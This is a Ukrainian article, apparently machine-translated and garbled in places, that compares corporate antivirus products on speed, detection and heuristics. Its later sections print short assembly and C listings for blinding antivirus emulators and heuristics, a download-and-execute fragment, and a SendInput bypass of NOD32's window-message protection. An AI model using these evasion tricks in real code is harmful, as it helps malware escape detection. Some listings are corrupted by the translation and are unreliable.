Антивіруси в корпоративному середовищі

Від якості антивіруса багато в чому залежить надійність корпоративної мережі. Але який з них вибрати? На ринку присутні безліч гравців: KAV, DR. Web, Trend Micro, Symantec, NOD32, MCAFEE, продукти яких ми ретельно протестували на широкому спектрі споживчих характеристик, описавши отримані результати в цій статті.


Антивіруси з точки зору кінцевого користувача представляють собою "чорний ящик", якість якого (на відміну від прикладних програм) неможливо оцінити неозброєним оком. Зовні знаходиться тільки інтерфейс, а "движок" прихований глибоко всередині і демонструє свої можливості тільки при зустрічі з реальною заразою, що відбувається далеко не кожен день. "Популярні" віруси, що викликали масові епідемії, на роль тестового "еталона" не годяться, оскільки розпізнаються практично всіма антивірусами, навіть самими відсталими. А ось поліморфний rootkit, упакований новою версією пакувальника захищених файлів, здатні розпізнати лише кращі антивіруси, та й то далеко не з 100% вірогідністю.


Як показує практика, переважна більшість споживачів (у тому числі і корпоративних) у виборі антивіруса керується аж ніяк не технічними характеристиками останнього, а особистою симпатією (антипатією) до конкретного вендору. Дуже часто доводиться чути твердження в стилі: "ми використовуємо продукт XXX від компанії YYY, ось вже п'ять років політ нормальний – вірусів немає". Так, може бути, це не вірусів немає, а просто антивірус такий сліпий, що їх не бачить?! Адже далеко не кожен вірус руйнує дані, оскільки це демаскує його. Він може роками сидіти в інформаційному середовищі, займаючись шпигунством або відкриваючи back-door для віддаленого управління системою і не викликаючи і тіні підозр.


З іншого боку, антивірус, "лаятися" на всі файли поспіль (навіть абсолютно нешкідливі, як, наприклад, стандартний "Калькулятор", упакований широко поширеним пакувальником UPX) ще гірше, оскільки створює атмосферу постійної тривоги, змушуючи компанію витрачати величезні кошти (і час) на аналіз ситуації і пошук чорної кішки, якої немає, в чорній кімнаті, якої ніколи не існувало.


Ось яка, виявляється, непроста штука – вибір правильного антивіруса!


А чи потрібен антивірус?


За часів панування Windows 9x необхідність антивірусів ніким не оскаржувалася, і тоді вони були своєрідним "милицею", що ліквідовують найбільш слабкі сторони операційної системи, а саме – катастрофічну незахищеність. У Windows 9x будь виконуваний файл має доступ до всіх ресурсів, у тому числі і можливість непомітно встановлювати драйвери, переходячи з прикладного режиму на рівень нульового кільця і вбудовуючись в ланцюжок між обладнанням і операційною системою, приховуючи від останньої факт свого існування.


З приходом Windows NT/W2K/XP все змінилося. NT спочатку проектувалася як захищена операційна система, що підтримує поділ привілеїв, і при правильно налаштованої політики безпеки вірус просто не може впроваджуватися ні в які виконувані об'єкти, а тому виявляється нежиттєздатний.


Час глобальних вірусних епідемій вже пройшло. Навіть поштові черв'яки, досягнувши піку своєї активності у 2003 році, до середини 2006 року скоротили свою популяцію більш ніж у десять (!) Разів. Зате набули більшої актуальності цілеспрямовані атаки і rootkit "и. Створення вірусів з хлоп'ячого хобі перетворилося на бізнес, і туди хлинули гроші, причому досить пристойні, треба сказати. Вартість одного" замовного " вірусу в залежності його якості коливається від $ 500 до $ 10.000, але навіть серійні вироби рідко опускаються нижче $ 100 – $ 500.


Антивіруси відчувають величезні труднощі з детектуванням невідомих їм вірусів, і навіть потужний евристичний аналізатор – поганий помічник, оскільки, замовник (як правило) перевіряє куплений вірус на самих останніх версіях антивірусів і якщо хоча б один з них розпізнає заразу, вірус відправляється на доопрацювання.


З rootkit "мі справи йдуть ще гірше. Грубо кажучи, rootkit" и – це віруси, побудовані за технологією Stealth. Потрапивши на цільовий комп'ютер, вони перехоплюють ряд системних викликів, маскуючи факт своєї присутності на машині. У загальному випадку антивіруси не здатні виявляти активні rootkit "и, і все, що вони можуть – перешкодити новим заражень. Тобто якщо rootkit проник на комп'ютер перш, ніж користувач отримав відповідне оновлення, антивірус його не побачить! Очевидно, що несерійні rootkit "и, написані спеціально для цілеспрямованої атаки на дану систему, антивірусами не виявляються в принципі!


Ситуація здається безнадійною, але … насправді, rootkit "и аж ніяк не всемогутні і більшість з них використовує для свого поширення діри в операційних системах та / або прикладних додатках. Своєчасна установка латочок знижує ризик успішної атаки в десятки разів! А якщо додати сюди правильну настройку системи розмежування доступу, то у rootkit "а (незалежно від способу його поширення) просто не вистачить привілеїв для проникнення в систему!


Важливо зрозуміти, що антивірус – не панацея. Це всього лише одних з елементів комплексної захисної системи, причому далеко не центральний її компонент.


Швидкодія – одна з найважливіших характеристик антивіруса. Мало хто хоче розплачуватися за підвищену безпеку падінням продуктивності (тим більше, що, як було показано вище, користь від антивірусів досить сумнівна). Оскільки, швидкодія антивіруса залежить від безлічі факторів, що визначаються як його "анатомічними" особливостями, так і типом сканованого файлу, це суттєво ускладнює виявлення лідерів та аутсайдерів.


Одні антивіруси (KAV, Dr. Web) розпаковують файли на вбудованому емуляторі ЦП (віртуальній машині) і несуть на своєму борту порівняно невеликий набір статичних пакувальників, в результаті чого способи обробляти навіть нові версії старих пакувальників та упаковані файли зі злегка ушкодженою структурою. Інші ж (NOD32, Trend Micro-) мають набагато більш слабку віртуальну машину і змушені тягати за собою величезний набір статичних пакувальників – дуже швидко працюють, але, на жаль, "обламуються" з розпакуванням навіть при незначній модифікації упакованого вірусу. Знову-таки, тут все залежить від того, які файли ми обробляємо. Якщо в тестовому наборі домінують неупаковані файли, то обидві категорії антивірусів покажуть приблизно однаковий результат, але якщо підсунути KAV велика кількість файлів, для яких у нього немає статичних пакувальників, а у NOD "а – є, то NOD32 порве KAV як тузик грілку, йдучи у вертикальний відрив з реактивним вихлопом.


Евристичний аналізатор взагалі не дозволяє вимірювати свою продуктивність в природних одиницях. Справа в тому, що глибина аналізу задається не в машинних командах, а в мілісекундах, і якщо по закінченню заданого проміжку часу антивірус не знайде нічого підозрілого, сканування файлу переривається і він вважається "здоровим" (чим з успіхом користуються творці вірусів, вставляють в початок своїх творінь цикли з великою кількістю ітерацій). Природно, чим більший проміжок часу відпущений евристичному аналізатору, тим нижче його продуктивність (навіть на здорових файлах), але вище ймовірність знайти заразу.


Далі, якщо антивірус не виконує повного сканування файлу, а всього лише обмежується перевіркою околиць точки входу, продуктивність збільшується в десятки (або навіть сотні разів), але разом з цим знижується якість детектування.


Оскільки алгоритм роботи антивіруса залежить не тільки від його конструктивних особливостей, але і настроювань (які, зокрема, дозволяють задавати рівень глибини сканування і т. д.) стає зрозуміло, що порівняння продуктивності антивірусів абсолютно ні про що не говорить. Як мінімум, необхідно уточ, з якими налаштуваннями і на якому наборі файлів проводилося тестування.


До того ж, різні антивіруси підтримують різні формати файлів (адже віруси можуть сидіти не тільки в exe / dll, але і в html, jpg, cur, ico і т. д.). Очевидно, що чим більше форматів підтримує антивірус, тим нижче його продуктивність.


Тим не менше, для отримання загального уявлення про ситуацію нижче наводиться діаграма, підготовлена незалежної тестової організацією Virus Bulletin, на якій NOD32 демонструє вражаючий відрив від своїх конкурентів (зокрема, KAV відстає мало не на порядок). І хоча умови тестування явно не вказувалися (що робить неможливим відтворення експерименту), особистий досвід автора узгоджується з представленими даними. KAV дійсно самий повільний з усіх антивірусів, і повне сканування всіх файлів займає значний час і сильно завантажує процесор, завдаючи користувачеві безліч незручностей. У результаті цього антивірус часто-густо відключається або ж вибирається самий "легкий" режим сканування (тільки exe / dll-файли без всякої евристики). Природно, ймовірність виявлення зарази при цьому істотно знижується.



Якість детектування


Тестуванням антивірусів займаються багато компаній, у тому числі і незалежні (наприклад, Virus Bulletin – www.virusbtn.com), але збігів в отриманих результатах вперто не спостерігається. Зокрема, за даними Virus Bulletin, KAV відстає від NOD32 приблизно в чотири рази, а за даними розробників антивіруса Avira AntiVir (див. рис. 3), KAV навіть злегка обганяє NOD32 (98, 96% проти 95,65%). Аналогічної думки дотримується і тестова організація AV Comparatives (97,89% проти 96,71%) – http://www.av-comparatives.org/seiten/ergebnisse_2007_02.php.



Кому вірити?! На жаль, в умовах, що склалися вірити не можна нікому, і відсотки розпізнаних вірусів насправді не відсотки, а "папуги". Який в них сенс, якщо умови експерименту не описані, а тестування проводилося на закритій колекції вірусів з невідомої методикою?! Навіть якщо припустити, що колекція підібрана чесно і максимально репрезентативно, а не просто запозичена з CD-диска "10 тис. вірусів ", це нічого не міняє, оскільки зовсім не зрозуміло, за рахунок чого один антивірус виявляється краще іншого: чи то програв органічно не здатний розпізнавати складні віруси (особливо" загорнуті " пакувальниками), чи то він просто не встиг відновити свої бази. Враховуючи, що віруси з'являються щодня, а антивірусні бази оновлюються аж ніяк не синхронно, певний випадковий розбір як детектування завідомо неминучий! Тим не менш, цифри, наведені організацією Virus Bulletin виглядають абсолютно неправдоподібними і ніким не підтвердженими. Решта тестери не виявляють настільки драматичного розриву між лідерами антивірусного ринку, і різниця між NOD32 і KAV рідко перевищує 1% -3%, причому частіше за все вона йде не на користь NOD32.


Творці KAV і Dr. Web розмножують поліморфні віруси в дуже великій кількості (десятки тисяч примірників), і якщо хоча б один з них не виявляється антивірусом, то це розцінюється як дефект, що вимагає доопрацювання, тобто якість розпізнавання в грубому наближенні складає 99,999%. Проте з урахуванням обставин NOD32 гарантовано пропускає до 10 примірників вірусу, тобто розпізнає заражений файл з вірогідністю 99,9%. Важливо підкреслити, що мова йде про розпізнавання одного поліморфного вірусу (неважливо якого, – будь-якого досить складного), і цей експеримент може відтворити будь-який бажаючий. І не потрібно думати, що 99,9% – це хороший показник. 0,1% пропущених вірусів – це величезна величина! Припустимо, в мережі знаходиться 100 комп'ютерів (локальна мережа невеликої організації) і вірус розсилає свої копії кожну хвилину. Неважко розрахувати, через якийсь час всі вузли виявляться зараженими нерозпізнаних штамами вірусу!


Головний недолік NOD32 (і більшості інших антивірусів) в тому, що він використовує вкрай примітивну технологію для розпізнавання поліморфних вірусів, а саме – сигнатурний пошук по масці. Часто для одного вірусу потрібно півсотні масок (кожна з яких займає окремий запис у базі, створюючи оманливе враження, що NOD32 ловить півсотні різних вірусів), але і цієї кількості виявляється недостатньо для надійного детектування.


Унікальність KAV і Dr. Web полягає в тому, що для розпізнавання поліморфних вірусів вони використовують спеціальні алгоритми, що розробляються з урахуванням специфіки конкретного вірусу. Це набагато більш трудомісткий, але разом з тим і значно більш надійний шлях, яким (поки що) не скористався жоден західний розробник. Що ж стосується порівняння KAV з Dr. Web "ом, то вони представляють собою продукти приблизно однакового класу.


Також необхідно пам'ятати і про те, що деякі антивіруси (і KAV в тому числі) не розпізнають "дохлі" або непрацездатні віруси, а також програми, які не були класифіковані як віруси. Зате їх може "знаходити" NOD32, хрюкаючи від радості, хоча насправді жодних приводів для радості тут немає. Найгірше, що NOD32 замість того, щоб розбиратися з деякими "навороченими" пакувальниками й протекторами, просто оголошують їх вірусами, а це означає, що будь-який чесний файл, оброблений таким пакувальником, розпізнається NOD "ом як" заражений "! І якщо NOD32 кричить, а KAV мовчить, то це ще не означає, що KAV – поганий антивірус.


Кількість помилкових спрацьовував, взагалі кажучи, величезна. За даними Virus Total, при тестуванні 11035 файлів на великої колекції антивірусів, лише 239 фото були розпізнані як заражені всіма антивірусами, і в 10796 файлах заразу знайшов принаймні один антивірус. Це наочна ілюстрація того, що антивірусам довіряти не можна і у більшості з них якість детектування перебуває на зародковому рівні.


Евристичний аналіз


Евристичний аналізатор є потужна зброя, істотно ускладнює розробку вірусів, проте доступність антивірусів дозволяє "шліфувати" код шкідливої програми, удосконалюючи алгоритм маскування до тих пір, поки його перестають розпізнавати всі евристичні аналізатори. А значить, евристика способу виявити лише відверто дилетантські віруси, написані "піонерами", навіть не спромігшись протестувати своє творіння. До речі кажучи, таких вірусів в даний час – переважна більшість, а тому евристика являє собою досить корисну штуку.


За даними AV Comparatives самий потужний евристичний аналізатор, значно обганяє своїх конкурентів, реалізований у NOD32, що збігається з особистим досвідом автора. Евристичний аналізатор NOD32 дійсно вражає своєю "проникливістю", особливо якщо врахувати його високу швидкодію. KAV працює набагато повільніше, та й якість у нього не те. Bit Defender знаходиться десь посередині.


Рroактівние технології


Ще за часів MS-DOS існували антивірусні монітори (від англійського "monitor" – спостерігач-перехоплювач), що перехоплюють системні виклики і видають запит на підтвердження потенційно небезпечних операцій (Форматування диска, запис у виконуваний файл і т. д.). Великою популярністю вони не користувалися, зате відрізнялися підвищеною конфліктністю, легко обходилися вірусами і сильно дратували користувачів, більшість з яких на всі питання не замислюючись відповідали "yes".


З тих пір пройшли десятки років. Що змінилося? Рівним рахунком нічого! Монітори перетворилися на "proактівние засоби захисту", успадкувавши всі найгірші якості своїх попередників, а саме:



Коротше кажучи, якщо евристичний аналіз "кишеню не тягне", то proактівние технології з-за некоректно реалізованого перехоплення системних функцій досить часто призводять до втрат даних, не кажучи про зависання, перезавантаження і інші дрібні неприємності, які обертаються (у масштабах корпорації) великими збитками.


Дірки в антивірусах


Антивірус може виступати не тільки "ліками", а й об'єктом атаки, особливо якщо він містить компоненти, що працюють з адміністраторськими привілеями та / або драйвери (а практично всі антивіруси їх містять). Помилки, допущені розробниками, дозволяють хакеру в кращому випадку влаштовувати атаки типу "відмови в обслуговуванні", в гіршому ж – захоплювати управління машиною. І це аж ніяк не абстрактна теорія, а сувора правда життя, підтвердження якої можна знайти, зокрема, на www.securityfocus.com (так само як і будь-якому іншому ресурсі аналогічної тематики).


Як показує статистика, найбільш дірявим виявляється Trend Micro-, однак конкуруючі з ним продукти також невільні від дір, а значить, чим більше антивірусів встановлено на комп'ютері, тим вище ймовірність успішної атаки.


Висновок


Підіб'ємо підсумок: всім антивірусам притаманні ті чи інші недоліки, тому для досягнення прийнятного якості детектування розумно вибрати двох-трьох лідерів ринку, заснованих на принципово різних "Движках", наприклад, NOD32 і KAV / Dr. Web, відключивши proактівние захисту, оскільки від них більше шкоди, ніж користі.


Встановлювати понад три антивірусних пакетів не варто – якості детектування це не покращить, натомість збільшить кількість помилкових спрацьовувань, конфліктів і створить реальну загрозу атаки на антивірус.


Технології емуляції


Віртуальна машина, що емулює ЦП, необхідна антивірусу по меншою для трьох цілей: а) розпакування файлів, упакованих невідомим пакувальником, б) боротьби з "Джойнер", об'єднуючими відомий вірус з "Чесної" програмою в один виконуваний файл, в) розпізнання невідомих вірусів.


Найпотужніші емулятори – у NOD32, KAV і Dr. Web. Вони реалізують досить повний набір арифметичне-логічних команд x86-процесорів (generic x86 command set), проте все ще не емулюють SSE-команди, самомодіфіцірующіеся код, структурні винятку і API-функції операційної системи, а тому принципово нездатні розпаковувати віруси, оброблені навороченими протекторами або пакувальниками виконуваних файлів, які доводиться розпаковувати на статичних пакувальників, написаних вручну.


Зокрема, наступний код (див. лістинг 1) передає управління на тіло вірусу шляхом порушення виключення типу "помилка доступу", про яку не підозрює ні один з трьох зазначених антивірусів і все вони бачать тут лише безневинний повернення з функції.


Лістинг 1. Осліплення емулятора шляхом порушення винятку


PUSH 00315E01h ; адрес скрытой вирусной процедуры
PUSH dword ptr FS: [00000000h]; адресу попереднього SEH-обробника
MOV dword ptr FS: [00000000h], ESP; реєструємо новий SEH-обробник
MOV EAX, dword ptr DS: [00000000h]; порушуємо виняток, передаючи
; Управління на приховану вірусну
; Процедуру (антивіруси цього не бачать)

RET; виходимо з функції


Аналогічним чином йдуть справи і з магічними аналізом. Оскільки процесори сімейства x86 мають змінну довжину машинних команд, зустріч з невідомою інструкцією робить подальше декодування потоку виконання неможливим.


Лістинг 2. Осліплення евристичного аналізатора шляхом використання SSE-команди prefetch [eax] (предвибірки з пам'яті)


0F 18 00 PREFECTCH [EAX] ; SSE-команда (неизвестная AVs”ам)
B8 01 E0 15 березня MOV EAX, 00315E01h; заносимо адресу вірусної процедури в EAX
FF E0 JMP EAX; передаємо управління вірусної процедурі


Зокрема, зустрівши SSE-команду prefetch [eax] (див. лістинг 2), ні KAV, ні Dr. Web навіть не намагаються продовжити виконання потоку інструкцій. NOD32 намагається, але це в нього м'яко кажучи не зовсім виходить. Аналіз внутрішніх ланцюгів емулятора, виконаний автором, показує, що NOD32 декодує код наступним чином (див. лістинг 3).


Лістинг 3. Так NOD32 декодує лістинг 2


0F 18 unknown ; NOD32 не знает такой команды
00 B8 01 E0 15 березня ADD [EAX +00315 E01h], BH; додати до осередку EAX +00315 E01h рег. BH
FF E0 JMP EAX; стрибнути на EAX


NOD32, зіткнувшись з невідомою йому SSE-командою prefetch [eax], намагається визначити її межі евристичним шляхом, щоб продовжити декодування решти потоку інструкцій, але робить це невірно, помилково відриваючи один байт від prefetch [eax] і привласнюючи його наступної за ним машинній команді, в результаті чого MOV EAX, 00315E01h (занести в регістр EAX значення 00315E01h) перетворюється на ADD [EAX +00315 E01h], BH (Скласти вміст комірки EAX +00315 E01h з регістром BH). Як наслідок – регістр EAX залишається неініціалізовані, і по команді JMP EAX емулятор переходить в "космос", стріляючи повз вірусної процедури.


Тим не менш, в деяких випадках NOD "у все ж вдається вгадати кордону невідомих йому машинних команд і декодувати решті потік інструкцій, до того ж, на відміну від KAV" а і Dr. Web "а, він емулює стек, відстежуючи деякі хитрі способи передачі управління (типу модифікації адреси повернення).


Якщо ж декодувати потік інструкцій не вдається, то всі три позначених антивіруса шукають у файлі так звані "загальні вірусні сигнатури" (genetic signatures), тобто послідовності машинних команд, характерні для вірусів, але рідко зустрічаються в чесному програмному забезпеченні.


Зокрема, наступний фрагмент (див. лістинг 4) викликає спрацювання евристичного аналізатора всіх трьох позначених антивірусів незалежно від того, чи вдалося емулятора декодувати потік інструкцій чи ні:


Лістинг 4. Вірусний фрагмент, що викачує файл з мережі і тут же його запускає


; // получаем путь к каталогу %TEMP%
invoke GetTempPath, 256, WinTempDir
; / / Копіюємо ім'я каталога% TEMP% в буфер FullPath,
; / / Додаючи туди його ім'я, під яким він буде записаний на диск
invoke lstrcpy, FullPath, WinTempDir
invoke lstrcat, FullPath, FileNameToSave

; / / Викачуємо файл з мережі
invoke URLDownloadToFile, 0, UrlOfFile, FullPath, 0, 0

; / / Запускаємо завантажений файл
invoke ShellExecute, NULL, NULL, FullPath, NULL, NULL,1


Антивіруси Symantec і McAfee формально підтримують евристичний аналізатор, але емулюють лише невеликий набір x86-інструкцій, органічно нездатний розпаковувати невідомі пакувальники і справляється тільки з найпростішими вірусами, тому сподіватися зловити заразу, відсутню в базі, з їх допомогою – наївно, причому бази у них оновлюються значно рідше ніж у KAV "а і NOD" а.


Антивірус Trend Micro-взагалі не підтримує технологій емуляції, рідко оновлює бази і пропускає безліч вірусів, з якими легко справляються його конкуренти.


Емуляція API-функцій Windows


Емулювати API-функції операційної системи жоден з антивірусів поки що не навчився, що відкриває широкі простори для хакерства. Гаразд якби антивіруси їх зовсім не емулювати, але ж ні! Вони намагаються передбачити результат виконання деяких найбільш поширених функцій, зокрема, вважаючи, що функція відкриття файлу CreateFileA завжди повертає позитивний результат, і ніколи не заглядають в обробник ситуації INVALID_HANDLE_VALUE (невірний дескриптор файлу).


Наступний код обманює евристичні аналізатори всіх розглянутих нами антивірусів:


Лістинг 5. Осліплення евристичного аналізатора шляхом розміщення вірусної процедури в обробнику помилки відкриття файлу C: System Volume Information, який на NTFS-розділах недоступний навіть для читання


HANDLE h = CreateFileA(“C:System Volume Information”, FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);
if (h != INVALID_HANDLE_VALUE)
{
/ * Вірусна процедура * /
}


Захист від WM_ атак


Віконна підсистема Windows дозволяє будь-якого додатка незалежно від його рівня привілеїв посилати повідомлення (Windows Message або скорочено WM_) вікнам більш привілейованих додатків, імітуючи клавіатурний і / або мишачий введення. Досить багато вірусів відключають proактівние антивірусні захисту через інтерфейс користувача або періодично переглядають список вікон, закриваючи вікно відомого їм антивіруса при його виявленні, що робить неможливим локальне сканування файлової системи. І хоча сканування по мережі все ще залишається можливим, воно принципово не здатне виявити маскуються віруси і rootkit "и.


Єдиний антивірус, який робить спроби захисту від WM_ атак – це NOD32, хоча хакери вже давно навчилися обходити його, використовуючи низькорівневі функції імітації введення (NOD32 захищається тільки від посилки повідомлень за допомогою API-функцій SendMessage і PostMessage, але "забуває" про документовану API-функцію SendInput, опис якої міститься в Platform SDK).

Схожі статті:


Сподобалася стаття? Ви можете залишити відгук або підписатися на RSS , щоб автоматично отримувати інформацію про нові статтях.

Коментарів поки що немає.

Ваш отзыв

Поділ на параграфи відбувається автоматично, адреса електронної пошти ніколи не буде опублікований, допустимий HTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>

*

*